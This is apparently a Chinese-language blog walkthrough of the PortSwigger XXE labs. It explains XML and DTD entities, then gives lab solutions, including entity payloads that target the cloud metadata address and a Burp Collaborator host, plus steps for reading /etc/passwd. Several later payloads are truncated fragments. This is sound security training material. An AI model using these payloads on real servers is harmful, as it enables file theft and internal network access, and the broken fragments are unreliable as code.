portswigger XXE 漏洞
快速了解 XXE
什么是 XXE 漏洞
XXE 漏洞概述
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击来升级 XXE 攻击以破坏底层服务器或其他后端基础设施
XML 基础知识
要利用 XXE 漏洞首先需要一定的 XML 知识
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD可以被内部声明也可以被外部引用
内部声明:
<!DOCTYPE 根元素 [元素声明]>
带有 DTD 的 XML 文档实例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部文档声明:
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> <!--在这里-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体
实体的概念:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD例子
<!ENTITY abc "nihao">
XML例子
<hello>&abc;</hello>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。
一个外部实体声明:
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
XXE 漏洞可造成的危害
任意文件读取
执行系统命令
探测内容端口
攻击内网网站
发起 DOS 攻击
XXE 漏洞绕过手段
协议绕过 data://
协议绕过 php://filter
编码绕过
无回显绕过
XXE 漏洞的防御
禁用外部实体
过滤和验证用户提交的XML数据
靶场攻略
第一关
随便点一个图片,然后划到最下面,点击Check stock
通过 burp 抓 POST 请求包
把 POST 包发送到 Repeater

修改下方的 XML

发送,实验完成
第二关
这一关是 XXE+SSRF
题目要求访问 http://169.254.169.254/ 下的文件
和第一关一样,抓到包后,我们这样构造
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://169.254.169.254/">]>
发送完后我们在响应中得到了 latest 这个词,我们把他放在路径后面

发送请求后,我们又在相应中获得了一个此,以此类推,最终我们获得了这个

第二关结束
第三关
这一关是带外盲注
我们在抓到 POST 包并发送到 Repeater 后
打开 Burp Collaborator Client

点击 Copy to clipboard

我们再回 Repeater 构造:
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">]>
其中,http://后面的是刚刚 Copy to clipboard 再粘贴出来的地址

发送请求包,可以看到 Burp Collaborator Client 多了一些信息,同时题目也完成了!
第四关
这一关也是 XXE 盲注,但是这里限制了常规外部实体的请求
重复前几关的操作在发送 POST 请求到 Repeater 后,如果我们用上一题的构造方式

会发现提示"Entities are not allowed for security reasons"
这里限制了常规外部实体请求,我们使用参数实体请求试试
<!DOCTYPE aaa [<!ENTITY % bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">%bbb;]>
成功收到
## [第五关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)
这一关还是 XXE 盲注,我们需要获取 `/etc/hostname` 中的信息,由于无回显,我们需要将该信息带出到 Burp Collaborator Client
点击页面的 Go to exploit server,提交如下文件
```dtd
">%sss;
```
作用是向 Burp Collaborator Client 发送信息,需要留意一下 `%file`,和下面的是同一个
重复前几关的操作在发送 POST 请求到 Repeater 后,我们这样构造
```dtd
%get;
%send;
]>
```
发送后,我们收到如下信息
点击 HTTP ,在 Request 中找到顶部信息 a= ,后面的 b10ce1cb2eea 就是答案了
## [第六关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)
这关还是 XXE 盲注,需要通过错误信息查看 `/etc/passwd` 文件
我们先上传一个文件
```
">%p;
```
然后我们再按照前面的方式抓到含有 xml 的 POST 包到 Repeater
构造:
```
%get;
%ppp;
]>
```
提交后就完成了,可以看到 passwd 的信息随着错误回显显示出来了
## [第七关](https://portswigger.net/web-security/xxe/lab-xinclude-attack)
这题获取到 POST 请求后发现只有 productId
我们尝试使用 XInclude 来检索 `/etc/passwd`
```
## [第八关](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)
有些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 xml 格式的例子包括 DOCX 之类的办公文档格式和 SVG 之类的图像格式。
例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意的 SVG 图像,从而达到针对 XXE 漏洞的隐藏攻击表面。
我们在本地命令行执行以下命令生成一个含有 payload 的 SVG 文件
```
echo ' ]>' > 123.svg
```
然后我们上传这个文件
返回
使用 F12 查看刚刚上传的图片
提交答案就可以了
## [第九关](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)
根据提示,在服务器文件系统的位置有一个 DTD 文件 `/usr/local/app/schema.dtd` ,并且这个 DTD 文件定义了一个名为 `ISOamso` 的实体。`/etc/passwd` 攻击者可以通过提交如下混合 DTD 来触发包含文件内容的 XML 解析错误消息
如下构造:
```
">
%eval;
%error;
'>
%local_dtd;
]>
```
提示 `%` 是 `%` 的 html 实体,`&` 是 `&` 的 html 实体,`'` 是 `'` 的 html 实体
发送完后可以看到错误回显带有了 `passwd` 信息

浙公网安备 33010602011771号